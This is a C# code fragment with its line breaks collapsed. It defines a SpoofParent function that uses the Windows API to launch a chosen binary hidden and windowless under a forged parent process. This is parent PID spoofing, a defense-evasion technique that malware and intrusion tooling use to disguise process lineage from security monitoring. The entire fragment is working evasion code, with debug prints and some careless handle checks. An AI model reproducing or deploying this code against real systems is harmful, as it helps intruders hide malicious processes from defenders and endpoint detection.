public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes, ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref Structs.STARTUPINFOEX lpStartupInfo, out Structs.PROCESS_INFORMATION lpProcessInformation);
public static bool SpoofParent(int parentProcessId, string binaryPath, string cmdLine) { // STARTUPINFOEX members const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; // STARTUPINFO members (dwFlags and wShowWindow) const int STARTF_USESTDHANDLES = 0x00000100; const int STARTF_USESHOWWINDOW = 0x00000001; const short SW_HIDE = 0x0000; // dwCreationFlags const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; const uint CREATE_NO_WINDOW = 0x08000000; //var error = Marshal.GetLastWin32Error(); var pInfo = new Structs.PROCESS_INFORMATION(); var siEx = new Structs.STARTUPINFOEX(); // Be sure to set the cb member of the STARTUPINFO structure to sizeof(STARTUPINFOEX). siEx.StartupInfo.cb = Marshal.SizeOf(siEx); IntPtr lpValueProc = IntPtr.Zero; IntPtr hSourceProcessHandle = IntPtr.Zero; if (parentProcessId > 0) { var lpSize = IntPtr.Zero; var success = WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); if (success || lpSize == IntPtr.Zero) { return(false); } Console.WriteLine("successfully used InitializeProcThreadAttributeList "); siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); success = WinAPI.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize); if (!success) { return(false); } Console.WriteLine("successfully used InitializeProcThreadAttributeList"); IntPtr parentHandle = WinAPI.OpenProcess(Structs.ProcessAccessFlags.CreateProcess | Structs.ProcessAccessFlags.DuplicateHandle, false, parentProcessId); if (parentHandle == null) { return(false); } Console.WriteLine("obtained a handle to parent process"); // This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, parentHandle); success = WinAPI.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); if (!success) { return(false); } Console.WriteLine("successfully used UpdateProcThreadAttribute"); IntPtr hCurrent = System.Diagnostics.Process.GetCurrentProcess().Handle; IntPtr hNewParent = WinAPI.OpenProcess(Structs.ProcessAccessFlags.DuplicateHandle, true, parentProcessId); if (hNewParent == null) { return(false); } Console.WriteLine("successfully used OpenProcess"); } siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; siEx.StartupInfo.wShowWindow = SW_HIDE; var ps = new Structs.SECURITY_ATTRIBUTES(); var ts = new Structs.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); //bool ret = CreateProcess(null, command, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); Console.WriteLine("About to call create processd"); bool ret = WinAPI.CreateProcess(binaryPath, cmdLine, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); Console.WriteLine(Marshal.GetLastWin32Error()); if (!ret) { Console.WriteLine("[!] Proccess failed to execute!"); return(false); } Console.WriteLine("successfully used CreateProcess"); return(true); }